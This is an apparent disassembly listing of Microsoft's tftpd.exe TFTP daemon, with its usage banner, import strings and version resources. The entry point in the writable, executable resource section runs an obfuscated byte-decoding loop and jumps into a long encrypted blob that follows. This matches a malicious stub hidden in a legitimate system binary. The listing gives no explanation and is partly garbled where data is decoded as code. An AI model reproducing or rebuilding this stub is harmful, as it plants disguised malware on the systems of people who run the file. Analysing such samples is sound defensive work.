loc_1003A29:				; CODE XREF: sub_10039D6+3Dj
					; sub_10039D6+4Dj
		push	1
		pop	eax
		jmp	short loc_1003A38
; ---------------------------------------------------------------------------


loc_1003A2E:				; CODE XREF: sub_10039D6+Cj
		mov	ecx, [ebp+arg_4]
		xor	eax, eax
		cmp	[ecx], al
		setz	al


loc_1003A38:				; CODE XREF: sub_10039D6+51j
					; sub_10039D6+56j
		pop	edi
		pop	esi
		pop	ebp
		retn	8
sub_10039D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_1003A3E	proc near		; CODE XREF: sub_1001A91+5p
					; sub_100230A+8p ...
		jmp	ds:dword_100116C
sub_1003A3E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_1003A44	proc near		; CODE XREF: sub_10018DB+FEp
					; sub_1002219+DAp
		jmp	ds:dword_1001138
sub_1003A44	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_1003A4A	proc near		; CODE XREF: sub_1001FA6+1Fp
					; sub_1001FA6+43p
		jmp	ds:dword_100113C
sub_1003A4A	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_1001560
		push	offset loc_1003BF0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFE0h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		mov	dword ptr [ebp-4], 0
		push	1
		call	ds:dword_10010C4
		add	esp, 4
		mov	dword_10062D0, 0FFFFFFFFh
		mov	dword_10062D4, 0FFFFFFFFh
		call	ds:dword_10010C8
		mov	ecx, dword_100600C
		mov	[eax], ecx
		call	ds:dword_10010CC
		mov	edx, dword_1006008
		mov	[eax], edx
		mov	eax, ds:dword_10010D0
		mov	ecx, [eax]
		mov	dword_10062D8, ecx
		call	nullsub_2
		mov	eax, dword_1005DC4
		test	eax, eax
		jnz	short loc_1003AE1
		push	offset loc_1003BD0
		call	ds:dword_1001084
		add	esp, 4


loc_1003AE1:				; CODE XREF: .text:01003AD1j
		call	sub_1003BB0
		push	offset dword_100500C
		push	offset dword_1005008
		call	sub_1003BA6
		add	esp, 8
		mov	edx, dword_1006004
		mov	[ebp-28h], edx
		lea	eax, [ebp-28h]
		push	eax
		mov	ecx, dword_1006000
		push	ecx
		lea	edx, [ebp-20h]
		push	edx
		lea	eax, [ebp-2Ch]
		push	eax
		lea	ecx, [ebp-1Ch]
		push	ecx
		call	ds:dword_1001080
		add	esp, 14h
		push	offset dword_1005004
		push	offset dword_1005000
		call	sub_1003BA6
		add	esp, 8
		call	ds:dword_10010D8
		mov	edx, [ebp-20h]
		mov	[eax], edx
		mov	eax, [ebp-20h]
		push	eax
		mov	ecx, [ebp-2Ch]
		push	ecx
		mov	edx, [ebp-1Ch]
		push	edx
		call	sub_1001570
		add	esp, 0Ch
		mov	[ebp-24h], eax
		push	eax
		call	ds:dword_10010EC
		jmp	short loc_1003B80
; ---------------------------------------------------------------------------
		mov	eax, [ebp-14h]
		mov	ecx, [eax]
		mov	ecx, [ecx]
		mov	[ebp-30h], ecx
		push	eax
		push	ecx
		call	sub_1003BA0
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		mov	edx, [ebp-30h]
		push	edx
		call	ds:dword_10010DC+4


loc_1003B80:				; CODE XREF: .text:01003B5Cj
		add	esp, 4
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_1003BA0	proc near		; CODE XREF: .text:01003B6Ap
		jmp	ds:dword_10010DC
sub_1003BA0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_1003BA6	proc near		; CODE XREF: .text:01003AF0p
					; .text:01003B2Bp
		jmp	ds:dword_100107C
sub_1003BA6	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_1003BB0	proc near		; CODE XREF: .text:loc_1003AE1p
		push	30000h
		push	10000h
		call	sub_1003BF6
		add	esp, 8
		retn
sub_1003BB0	endp

; ---------------------------------------------------------------------------
		align 10h


loc_1003BD0:				; DATA XREF: .text:01003AD3o
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 10h
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
		align 10h


loc_1003BF0:				; DATA XREF: .text:01003A5Ao
		jmp	ds:dword_10010C0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_1003BF6	proc near		; CODE XREF: sub_1003BB0+Ap
		jmp	ds:dword_10010BC
sub_1003BF6	endp

; ---------------------------------------------------------------------------
		dd 3D7Ch, 2 dup(0FFFFFFFFh), 3E60h, 10F4h, 3CA4h, 2 dup(0FFFFFFFFh)
		dd 4012h, 101Ch, 3C88h,	2 dup(0FFFFFFFFh), 40A2h, 1000h
		dd 3DCCh, 2 dup(0FFFFFFFFh), 4172h, 1144h, 3DC0h, 2 dup(0FFFFFFFFh)
		dd 41A2h, 1138h, 3D04h,	2 dup(0FFFFFFFFh), 42F6h, 107Ch
		dd 5 dup(0)
		dd 4092h, 4020h, 407Eh,	4070h, 4052h, 403Eh, 0
		dd 3E6Ch, 3FF6h, 3FE6h,	3FCEh, 3FBEh, 3FB2h, 3FA2h, 3E7Ah
		dd 3E8Ah, 3EA0h, 3EB0h,	3ECCh, 3EDAh, 3EF2h, 3EFEh, 3F0Ch
		dd 3F24h, 3F3Ch, 3F56h,	3F62h, 3F70h, 3F78h, 3F92h, 0
		dd 4282h, 4272h, 428Eh,	4230h, 4226h, 421Eh, 4214h, 420Ah
		dd 4200h, 41F8h, 41F0h,	41E6h, 41DCh, 41D2h, 41CAh, 41C2h
		dd 4302h, 42E2h, 42D0h,	42C2h, 42B2h, 42A2h, 41B8h, 4262h
		dd 4254h, 424Ch, 423Ah,	4242h, 41B0h, 0
		dd 3E52h, 8000006Fh, 80000073h,	3E08h, 80000009h, 3E1Ah
		dd 8000000Fh, 3E34h, 8000000Ah,	3E42h, 80000003h, 8000000Ch
		dd 80000002h, 80000037h, 80000017h, 80000014h, 0
		dd 417Ch, 4190h, 0
		dd 4126h, 4168h, 415Eh,	4154h, 4142h, 4130h, 411Ah, 4112h
		dd 410Ah, 40F4h, 40EAh,	40D4h, 40B0h, 40C2h, 0
		dd 53570019h, 65764541h, 6553746Eh, 7463656Ch, 1B0000h
aWsagetoverlapp	db 'WSAGetOverlappedResult',0
		align 4
a2		db '2',0
aWsarecvfrom	db 'WSARecvFrom',0
		dw 0Fh
aWsacloseevent	db 'WSACloseEvent',0
		db '=',0
aWsasocketa	db 'WSASocketA',0
		align 10h
aWs2_32_dll	db 'WS2_32.dll',0
		align 4
aM		db '',0
aExitprocess	db 'ExitProcess',0
		dw 12Dh
aGetlasterror	db 'GetLastError',0
		align 2
		dw 2FDh
aWaitforsingleo	db 'WaitForSingleObject',0
a4		db '4',0
aCreateeventa	db 'CreateEventA',0
		align 10h
		db 0C5h	; 
		db 1, 49h, 6Eh
aItializecritic	db 'itializeCriticalSection',0
		dd 654801B6h, 72437061h, 65746165h, 1DE0000h
aLeavecriticals	db 'LeaveCriticalSection',0
		align 2
		dw 1BAh
aHeapfree	db 'HeapFree',0
		align 2
		dw 1Eh
aClosehandle	db 'CloseHandle',0
aO		db 'o',0
aEntercriticals	db 'EnterCriticalSection',0
		align 4
		retf
; ---------------------------------------------------------------------------
		db 1, 49h, 6Eh
aTerlockedincre	db 'terlockedIncrement',0
		align 4
		db 0FBh	; 
		db 2, 57h, 61h
aItformultipleo	db 'itForMultipleObjects',0
		align 2
		dw 1B4h
aHeapalloc	db 'HeapAlloc',0
		dw 252h
aResetevent	db 'ResetEvent',0
		align 10h
		retn
; ---------------------------------------------------------------------------
		db 2, 53h, 6Ch
		db  65h	; e
		db 65h,	70h, 0
		db 0D8h	; 
		db 2, 54h, 72h
aYentercritical	db 'yEnterCriticalSection',0
		dw 2C5h
aSuspendthread	db 'SuspendThread',0
		dw 254h
aResumethread	db 'ResumeThread',0
		db 0, 90h, 2
aSetevent	db 'SetEvent',0
		align 2
		dw 29Ch
aSetlasterror	db 'SetLastError',0
		align 2
aZ		db 'Z',0
aDeletecritical	db 'DeleteCriticalSection',0
		dw 12Fh
aGetlocaltime	db 'GetLocalTime',0
		align 2
aP		db '',0
aExpandenvironm	db 'ExpandEnvironmentStringsA',0
aKernel32_dll	db 'KERNEL32.dll',0
		align 10h
		db 0E5h	; 
		db 1, 53h, 74h
aArtservicectrl	db 'artServiceCtrlDispatcherA',0
		dw 1DFh
aSetservicestat	db 'SetServiceStatus',0
		align 2
		dw 1B9h
aRegisterservic	db 'RegisterServiceCtrlHandlerA',0
		db  84h	; 
		db 1, 52h, 65h
aGclosekey	db 'gCloseKey',0
		dw 1A7h
aRegqueryvaluee	db 'RegQueryValueExA',0
		align 2
		dw 19Dh
aRegopenkeyexa	db 'RegOpenKeyExA',0
aAdvapi32_dll	db 'ADVAPI32.dll',0
		align 10h
		db  50h	; P
		db 2, 52h, 74h
aLregisterwait	db 'lRegisterWait',0
		dw 184h
aRtlcreatetimer	db 'RtlCreateTimer',0
		align 4
		db  85h	; 
		db 1, 52h, 74h
aLcreatetimerqu	db 'lCreateTimerQueue',0
		dw 42Eh
a_chkstk	db '_chkstk',0
		db 0A1h	; 
		db 1, 52h, 74h
aLderegisterwai	db 'lDeregisterWaitEx',0
		dw 433h
a_itoa		db '_itoa',0
		dw 450h
aAtoi		db 'atoi',0
		align 2
		dw 43Dh
a_stricmp	db '_stricmp',0
		align 2
		dw 46Dh
aMemmove	db 'memmove',0
		dd 7452019Dh, 6C65446Ch, 54657465h, 72656D69h, 2990000h
		dd 556C7452h, 74616470h, 6D695465h, 7265h, 6F740486h, 65776F6Ch
		dd 45F0072h, 70757369h,	726570h, 7473047Dh, 70636E72h
		dd 746E0079h, 2E6C6C64h, 6C6C64h, 6F4E004Fh, 79666974h
		dd 72646441h, 6E616843h, 6567h,	65470022h, 41704974h, 54726464h
		dd 656C6261h, 70690000h, 61706C68h, 642E6970h, 6C6Ch, 78650246h
		dd 7469h, 7270029Bh, 66746E69h,	2430000h, 6D697463h, 2540065h
		dd 65706F66h, 17F006Eh,	646B6D5Fh, 7269h, 655F00C5h, 6F6E7272h
		dd 0AA0000h, 6468635Fh,	7269h, 697402CDh, 656Dh, 7266025Bh
		dd 6565h, 63660249h, 65736F6Ch,	2A40000h, 6C616572h, 636F6Ch
		dd 616D028Eh, 636F6C6Ch, 1950000h, 6165725Fh, 0B00064h
		dd 6F6C635Fh, 6573h, 6C5F0141h,	6B656573h, 1840000h, 65706F5Fh
		dd 214006Eh, 6972775Fh,	6574h, 655F00D0h, 746978h, 585F0048h
		dd 46747063h, 65746C69h, 630072h, 5F705F5Fh, 6E695F5Fh
		dd 6E657469h, 580076h, 65675F5Fh, 69616D74h, 6772616Eh
		dd 10C0073h, 696E695Fh,	72657474h, 82006Dh, 65735F5Fh
		dd 65737574h, 74616D72h, 72726568h, 9B0000h, 6A64615Fh
		dd 5F747375h, 76696466h, 690000h, 5F705F5Fh, 6D6F635Fh
		dd 65646F6Dh, 6E0000h, 5F705F5Fh, 6F6D665Fh, 6564h, 5F5F0080h
		dd 5F746573h, 5F707061h, 65707974h, 0C70000h, 6378655Fh
		dd 5F747065h, 646E6168h, 3372656Ch, 534D0000h, 54524356h
		dd 6C6C642Eh, 0B40000h,	6E6F635Fh, 6C6F7274h, 7066h
		dd 3Ch dup(?)
_text		ends

; Section 2. (virtual address 00005000)
; Virtual size			: 000012DC (   4828.)
; Section size in file		: 000012DC (   4828.)
; Offset to raw	data for section: 00005000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_data		segment	para public 'DATA' use32
		assume cs:_data
		;org 1005000h
dword_1005000	dd 0		dword_1005004	dd 0		dword_1005008	dd 0		dword_100500C	dd 0		asc_1005010	db ' ================================================================'
					; DATA XREF: sub_1001570+4Do
		db '======== ',0Ah
		db 'Abstract:                                                        '
		db '         ',0Ah
		db ' This implements an RFC 783 tftp daemon.                         '
		db '         ',0Ah
		db ' It listens on port 69 for requests                              '
		db '         ',0Ah
		db ' and spawns a thread to process each request.                    '
		db '         ',0Ah
		db '                                                                 '
		db '         ',0Ah
		db 'TFTPD USAGE and Installation:                                    '
		db '         ',0Ah
		db '                                                                 '
		db '         ',0Ah
		db '  md d:/tftpd                                     (the StartDirec'
		db 'tory).   ',0Ah
		db '  copy //MohsinA_p90/test/tftpd.exe .                            '
		db '         ',0Ah
		db '  sc create tftpd binPath= d:/tftpd/tftpd.exe     (give full path'
		db ').       ',0Ah
		db '  sc query tftpd                                  (check if insta'
		db 'lled).   ',0Ah
		db '                                                                 '
		db '         ',0Ah
		db 'Start:                                                           '
		db '         ',0Ah
		db '    sc start tftpd -f                             (creates a log '
		db 'file).   ',0Ah
		db 'or  sc start tftpd                                               '
		db '         ',0Ah
		db 'or  net start tftpd                                              '
		db '         ',0Ah
		db 'or  sc start tftpd [-dStartDirectory] [-e] [-f]                  '
		db '         ',0Ah
		db '    Options: -e  use event log.                                  '
		db '         ',0Ah
		db '             -f  log to file.                                    '
		db '         ',0Ah
		db '             -dStartDirectory                                    '
		db '         ',0Ah
		db 'Info:                                                            '
		db '         ',0Ah
		db '  sc interrogate tftpd           (logs will be updated).         '
		db '         ',0Ah
		db '  sc query tftpd                 Check whether running.          '
		db '         ',0Ah
		db 'Stop:                                                            '
		db '         ',0Ah
		db '  sc  stop tftpd                                                 '
		db '         ',0Ah
		db '  net stop tftpd                                                 '
		db '         ',0Ah
		db '                                                                 '
		db '         ',0Ah
		db 'Variables that control what files can be read/written and by whom'
		db ':        ',0Ah
		db '   StartDirectory - only files there will be accessible.         '
		db '         ',0Ah
		db '                    LogFile is created here.                     '
		db '         ',0Ah
		db '   ValidClients - Clients matching this ip address can read files'
		db '.        ',0Ah
		db '                    eg. you can set it to "157.55.8?.*"          '
		db '       ',0Ah
		db '   ValidMasters   - clients matching this can write and read file'
		db 's.       ',0Ah
		db '                    eg. you can set it to "" and no one can write'
		db '.      ',0Ah
		db '   ValidReadFiles - only matching files will be served out, eg. "'
		db 'r*.t?t"',0Ah
		db '   ValidWriteFiles- only matching files will be accepted,  eg. "w'
		db '*.txt" ',0Ah
		db '                                                                 '
		db '         ',0Ah
		db 'Client:                                                          '
		db '         ',0Ah
		db '  tftp [-i] servername {get|put} src_file dest_file              '
		db '         ',0Ah
		db '  -i from binary mode, else ascii mode is used.                  '
		db '         ',0Ah
		db '                                                                 '
		db '         ',0Ah
		db ' ================================================================'
		db '======== ',0Ah,0
		align 8
aTftpd		db 'Tftpd',0            ; DATA XREF: sub_1001665+Bo
					; .data:off_1005CB0o
		align 10h
off_1005CB0	dd offset aTftpd	; DATA XREF: sub_1001570:loc_1001646o
					; "Tftpd"
		dd offset sub_1001665
		align 10h
off_1005CC0	dd offset aErrorUndefined ; DATA XREF: sub_100230A+73r
					; "Error undefined"
		dd offset aFileNotFound	; "File	not found"
		dd offset aAccessViolatio ; "Access violation"
		dd offset aDiskFullOrAllo ; "Disk full or allocation exceeded"
		dd offset aIllegalTftpOpe ; "Illegal TFTP operation"
		dd offset aUnknownTransfe ; "Unknown transfer ID"
		dd offset aFileAlreadyExi ; "File already exists"
		dd offset aNoSuchUser	; "No such user"
		dd offset aOptionNegotiat ; "Option negotiation	failure"
		align 8
dword_1005CE8	dd 2Ah,	0Dh dup(0)					; sub_10037BF+87o
dword_1005D20	dd 2Ah,	0Dh dup(0)					; sub_100333A+163o ...
dword_1005D58	dd 2Ah,	0Dh dup(0)					; sub_10037BF+EAo
dword_1005D90	dd 2Ah,	0Ch dup(0)					; sub_10037BF+11Ao
dword_1005DC4	dd 1				align 10h
dword_1005DD0	dd 0							; sub_1001E73:loc_1001F36r ...
dword_1005DD4	dd 0		dword_1005DD8	dd 0							; sub_1001665:loc_100182Er ...
dword_1005DDC	dd 0							; sub_1001665+8Br ...
dword_1005DE0	dd 0							; sub_1001E73:loc_1001F0Cr ...
		align 8
dword_1005DE8	dd 0							; sub_1001A91+2B3o
dword_1005DEC	dd 0							; sub_1001A1F+52r ...
dword_1005DF0	dd 0							; sub_1001A1F+5Ew ...
dword_1005DF4	dd 0							; sub_1001A91+59w ...
dword_1005DF8	dd 0							; sub_10018DB+EFr
dword_1005DFC	dd 0		dword_1005E00	dd 0							; sub_1002219+D5o
		db 3 dup(0)
dword_1005E07	dd 0							; sub_1003910+6Br ...
		align 4
		dd 7Ch dup(0)
dword_1005FFC	dd 0		dword_1006000	dd 0		dword_1006004	dd 0		dword_1006008	dd 0		dword_100600C	dd 0				dd 4 dup(0)
dword_1006020	dd 6 dup(0)						; .text:01001D78o ...
dword_1006038	dd 0							; sub_10018DB+34w ...
dword_100603C	dd 0		dword_1006040	dd 0							; sub_1001DEB:loc_1001E35r
dword_1006044	dd 0							; sub_1001665+DBr ...
dword_1006048	dd 6 dup(0)	dword_1006060	dd 6 dup(0)						; sub_1001A1F+2o ...
dword_1006078	dd 0							; sub_10019F0+Fw ...
dword_100607C	dd 0		dword_1006080	dd 6 dup(0)						; sub_100287F+1o ...
dword_1006098	dd 0							; sub_10018DB+25w ...
dword_100609C	dd 0		dword_10060A0	dd 0							; sub_10018DB+A2r ...
		dd 7 dup(0)
dword_10060C0	dd 0							; sub_1001665:loc_1001857o
dword_10060C4	dd 0		dword_10060C8	dd 0		dword_10060CC	dd 0				dd 0Ch dup(0)
dword_1006100	dd 4 dup(0)						; sub_1002219:loc_10022E9o
dword_1006110	dd 0				align 10h
dword_1006120	dd 0							; sub_1001665+63o ...
dword_1006124	dd 0							; sub_1001665+D1w ...
dword_1006128	dd 0							; sub_1001665+E1w
dword_100612C	dd 0							; sub_1001E73+5Aw ...
dword_1006130	dd 0							; sub_1001E73+60w ...
dword_1006134	dd 0							; sub_1001665+EBw ...
dword_1006138	dd 0							; sub_1001665+F1w ...
		align 10h
dword_1006140	dd 64h dup(0)	dword_10062D0	dd 0		dword_10062D4	dd 0		dword_10062D8	dd 0				align 200h
_data		ends

; Section 3. (virtual address 00007000)
; Virtual size			: 0000D400 (  54272.)
; Section size in file		: 0000D400 (  54272.)
; Offset to raw	data for section: 00007000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_rsrc		segment	para public 'CODE' use32
		assume cs:_rsrc
		;org 1007000h
		assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
		dd 3 dup(0)
		dd 10000h, 10h,	80000018h, 3 dup(0)
		dd 10000h, 1, 80000030h, 3 dup(0)
		dd 10000h, 409h, 48h, 7060h, 374h, 4 dup(0)
		dd 340374h, 560000h, 5F0053h, 450056h, 530052h,	4F0049h
		dd 5F004Eh, 4E0049h, 4F0046h, 0
		dd 0FEEF04BDh, 10000h, 50000h, 8560001h, 50000h, 8560001h
		dd 3Fh,	0
		dd 40004h, 1, 3	dup(0)
		dd 2D4h, 530001h, 720074h, 6E0069h, 460067h, 6C0069h, 490065h
		dd 66006Eh, 6Fh, 2B0h, 300001h,	300034h, 300039h, 420034h
		dd 30h,	16004Ch, 430001h, 6D006Fh, 610070h, 79006Eh, 61004Eh
		dd 65006Dh, 0
aMicrosoftCorpo:
		unicode	0, <Microsoft Corporation>,0
aR:
		unicode	0, <r%>
		dd 460001h, 6C0069h, 440065h, 730065h, 720063h,	700069h
		dd 690074h, 6E006Fh, 0
aTcpIpTrivialFi:
		unicode	0, <TCP/IP Trivial file	transfer daemon.>,0
		align 4
a8		db '8',0
		dw 0Ch
		dd 460001h, 6C0069h, 560065h, 720065h, 690073h,	6E006Fh
		dd 0
a5_00_2134_1:
		unicode	0, <5.00.2134.1>,0
a4_0:
		unicode	0, <4>
		dw 0Ah
		dd 490001h, 74006Eh, 720065h, 61006Eh, 4E006Ch,	6D0061h
		dd 65h,	660074h, 700074h, 2E0064h, 780065h, 65h, 280074h
		dd 4C0001h, 670065h, 6C0061h, 6F0043h, 790070h,	690072h
		dd 680067h, 74h, 6F0043h, 790070h, 690072h, 680067h, 200074h
		dd 430028h, 200029h, 69004Dh, 720063h, 73006Fh,	66006Fh
		dd 200074h, 6F0043h, 700072h, 20002Eh, 390031h,	310038h
		dd 31002Dh, 390039h, 39h, 0A003Ch, 4F0001h, 690072h, 690067h
		dd 61006Eh, 46006Ch, 6C0069h, 6E0065h, 6D0061h,	65h, 660074h
		dd 700074h, 2E0064h, 780065h, 65h, 2F007Eh, 500001h, 6F0072h
		dd 750064h, 740063h, 61004Eh, 65006Dh, 0
aMicrosoftRWind:
		unicode	0, <Microsoft(R) Windows (R) 2000 Operating System>,0
		align 4
		db '<',0
		dw 0Ch
		dd 500001h, 6F0072h, 750064h, 740063h, 650056h,	730072h
		dd 6F0069h, 6Eh, 2E0035h, 300030h, 32002Eh, 330031h, 2E0034h
		dd 31h,	44h, 560001h, 720061h, 690046h,	65006Ch, 6E0049h
		dd 6F0066h, 0
		dd 40024h, 540000h, 610072h, 73006Eh, 61006Ch, 690074h
		dd 6E006Fh, 0
		dd 4B00409h, 0Bh dup(0)
		assume ds:_data

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

		public start

start		proc near
		push	ebp
		mov	ebp, esp
		call	sub_1007412
		call	sub_1007478
		jmp	loc_1007434
start		endp


; =============== S U B	R O U T	I N E =======================================



sub_1007412	proc near		; CODE XREF: start+3p
		push	dword ptr fs:0
		mov	fs:0, esp
		xor	edx, edx
		push	edx
		push	edx
		push	edx
		push	edx
		push	edx
		push	edx
		push	edx
		push	80000000h
		push	edx
		push	edx
		call	ds:dword_1001074


loc_1007434:				; CODE XREF: start+Dj
		call	$+5
		pop	esi
		sub	esi, 0FFFFEA39h
		sub	ebx, ebx
		xor	ebx, 24C1h
		mov	edx, 6Bh
		push	esi


loc_100744E:				; CODE XREF: sub_1007412+4Ej
		xchg	al, [esi]
		sub	ax, dx
		xchg	al, [esi]
		add	esi, 1
		add	dx, 43h
		dec	ebx
		or	ebx, ebx
		jnz	short loc_100744E
		pop	esi
		xchg	ebp, fs:0
		mov	esp, ebp
		pop	dword ptr fs:0
		lea	ebp, [ebp+8]
		leave
		jmp	esi
sub_1007412	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_1007478	proc near		; CODE XREF: start+8p

arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_C]
		pop	dword ptr [eax+0B8h]
		xor	eax, eax
		retn
sub_1007478	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 4Eh,	8Bh, 7Ah
		dd 8BFB031Ch, 0F3038734h, 0CE8h, 6F6C4300h, 61486573h
		dd 656C646Eh, 0D6FF5300h, 24078589h, 0DE80040h,	43000000h
		dd 74616572h, 65764565h, 41746Eh, 89D6FF53h, 40240B85h
		dd 0DE800h, 65470000h, 73614C74h, 72724574h, 5300726Fh
		dd 8589D6FFh, 40240Fh, 45E8h, 74C08500h, 95FF5021h, 40240Fh
		dd 1075C085h, 1155858Dh, 508A0040h, 43E8FFh, 51EB0000h
		dd 240795FFh, 0C35D0040h, 6A006A5Ah, 6A006A00h,	16800h
		dd 0C48B0004h, 6A50006Ah, 0FFC48B0Ch, 5F5456E2h, 0C9330033h
		dd 0FFFFDBE8h, 25958DFFh, 52004011h, 0FF505151h, 40240B95h
		dd 20C48300h, 0B9F28AC3h, 12B2h, 2401030h, 0C3F9E2D6h
		dd 0FBF7AA29h, 1FF68DB0h, 0D71ED4CBh, 0E43E15ACh, 4BF63135h
		dd 69D15D34h, 1338635Dh, 4247A47Ch, 9B326D33h, 2BBF5849h
		dd 2A899128h, 0A37D8881h, 37B3D9F0h, 0CFA482BCh, 0E6B57EF8h
		dd 17AEE1C7h, 0B48D8181h, 5F36D960h, 179D3A88h,	647D1546h
		dd 4B32F9B8h, 0F443147Ch, 0FB6A013Ch, 370EBD85h, 4E4D890Ah
		dd 7F16098Fh, 0A7F5112Dh, 38618A0Ch, 6BF79467h,	84E6FD84h
		dd 0B585D8D7h, 0BAAF05DCh, 0FB92B980h, 8E94D8A9h, 0E6E9F188h
		dd 0B3D7793h, 0E19EB230h, 76C6EEBCh, 0CB7B14D5h, 0DCBD25BCh
		dd 4C7B352Bh, 0A3D19354h, 633979BFh, 9221B58Dh,	0ABC27D2Bh
		dd 0CA063957h, 24EAEB8h, 91BAE2h, 3A78E9AAh, 0DFB28D0Ch
		dd 835A5988h, 0B201D5ADh, 0CBE25D4Bh, 0EB49DD71h, 0EC153F4Ch
		dd 0DFDE6556h, 5B3609E0h, 1717ADEEh, 0A2100624h, 471F9D9Ch
		dd 7E3D9971h, 8F26190Fh, 320AEBD0h, 0CC3B7A5Ch,	93526924h
		dd 1FF6CDA1h, 3C64D2A1h, 3E3E7F13h, 188B373h, 8B05C8CBh
		dd 0A2C10198h, 0CC7326BFh, 9B720904h, 0C19069CBh, 0E5526E97h
		dd 0C95E350Ch, 674E9DE4h, 80338254h, 0FE4A61DCh, 57F8F229h
		dd 365B5A40h, 1F129E59h, 90D30088h, 0A77FB2C4h,	0F89F7AD0h
		dd 0EFC6DD50h, 6D38C517h, 0B2851A43h, 0DBF2ADF7h, 0F0575DFBh
		dd 63D9102Dh, 5C1BFE4Ch, 944259D4h, 8A69BCE4h, 0B3CA42FFh
		dd 73B18857h, 0F231A9C0h, 10773CDBh, 339254Dh, 19987D6Ch
		dd 1EEFC6EFh, 2F46C92Bh, 8B93E90Ah, 772425FCh, 71A2CDCAh
		dd 940392BBh, 0E03A51CCh, 3EB69548h, 20825968h,	0C4269700h
		dd 99CECBB4h, 0C56C2F1Ch, 27AE9AAh, 0B5B68D3Ch,	7C306008h
		dd 846B2AFCh, 94A23974h, 60B998ADh, 0EC17121Ch,	0B73BE8C3h
		dd 0E23249F0h, 0FFD6AB8Bh, 689BEA3h, 571E184Dh,	6E4F9930h
		dd 8F262E5Ah, 0A6870147h, 0D7EE92D5h, 18C7D652h, 0F7F68D80h
		dd 0C39A715Eh, 0C517AA0h, 79B2C9E5h, 0C3EF2B5Dh, 54F66BDh
		dd 92BBC91Dh, 64224961h, 7F32FE51h, 0F43F1868h,	0D75E7528h
		dd 4122B3E4h, 683382ABh, 0F64A61DCh, 289B9A5Ch,	0ED9003D6h
		dd 35E286B2h, 1232E389h, 0F47E552Ch, 2947BDB5h,	9D96FA01h
		dd 0FF033771h, 376B82D9h, 0CC277636h, 0F4566D20h, 75AC876Ch
		dd 38C9231Ch, 2B668A65h, 1F223E94h, 0B41F9E6Fh,	3D2E45F8h
		dd 4D0C380h, 0DF5276B1h, 423248C8h, 0CC29956Ch,	0AF6EB0F1h
		dd 0BAF98AE0h, 0D3EAA52Bh, 0D2CDD3CFh, 1BB2ED57h, 40C13944h
		dd 231E667Dh, 731E308Ch, 55011F6Ch, 0B0C88FD0h,	99C2850Ch
		dd 68442F1Ch, 7B368655h, 0AB760864h, 67B2A2D4h,	14FED5AFh
		dd 0FB41E899h, 4BB198CDh, 3B9FC1D8h, 0BBB0A4BDh, 0F6209E0h
		dd 0AF87FBD4h, 36850278h, 475ED1FFh, 9F9B59F5h,	0AB12C21Bh
		dd 0C48F6EB0h, 3FAEC578h, 84ADD709h, 186332F7h,	289A316Ch
		dd 4FFA9474h, 5CE2B991h, 8B81C8CBh, 0C2C30198h,	67315A80h
		dd 9B2A1178h, 3F16F5FDh, 0E3BA9A9Ch, 875E350Dh,	2B02D9B0h
		dd 0CFA67D54h, 8C1977A9h, 57CAD609h, 17CBC240h,	0A443CD60h
		dd 54195F6Ah, 0F121671Fh, 3E568BB9h, 9BB5F174h,	0FD0F2D6Ah
		dd 527CA6BCh, 9DD7FD01h, 3E33416Dh, 468892A8h, 81FB012Dh
		dd 26277599h, 6696CDF5h, 0B3CB0656h, 364B779Fh,	8982CCF4h
		dd 0EC132E4Bh, 1AB0BBh,	93DFF01Eh, 0E6076B75h, 7B63A9DBh
		dd 0B2CFF330h, 50D2598h, 7E86A8C5h, 0DAE40510h,	203A7589h
		dd 73BFD0FEh, 0C4ED0D55h, 234395B8h, 0A0F89208h, 0E41E2472h
		dd 3B6686A8h, 0ABDFF521h, 0E628595Ch, 60FEB1CDh, 0A2E40D35h
		dd 1B077898h, 7183B3ECh, 0C4EB1149h, 3E7509A1h,	93BFEBF0h
		dd 0D913024Dh, 2259F5A9h, 87ABDF04h, 0E20F6971h, 564DE1DDh
		dd 0B3C1C828h, 33374575h, 7392A3C5h, 849A302Dh,	26A6189h
		dd 62A4C9FDh, 0CEC83858h, 536B64B5h, 0A3BAC03Bh, 0CB022445h
		dd 7E7E99A5h, 97DFD668h, 0F42C505Ah, 2B6CB6D9h,	99D21813h
		dd 1A39539Dh, 6FABABF3h, 0D4DE6901h, 367A6985h,	71BBC3EAh
		dd 0EA7E1455h, 227489B1h, 8989EA11h, 0F606285Eh, 527EAABCh
		dd 0B7DBCF0Eh, 0F376061h, 4494B8D8h, 0B7D1750Dh, 19127795h
		dd 7C83DEFBh, 0C1DA614Bh, 244B66B3h, 0BDE09AF3h, 0EB053F4Dh
		dd 2C68A1C8h, 94CDF00Fh, 0EE2C0B23h, 7C06A9CCh,	0BAECF53Dh
		dd 30F4090h, 799BBBD4h,	0CCF31931h, 66911A9h, 6BB7F3F8h
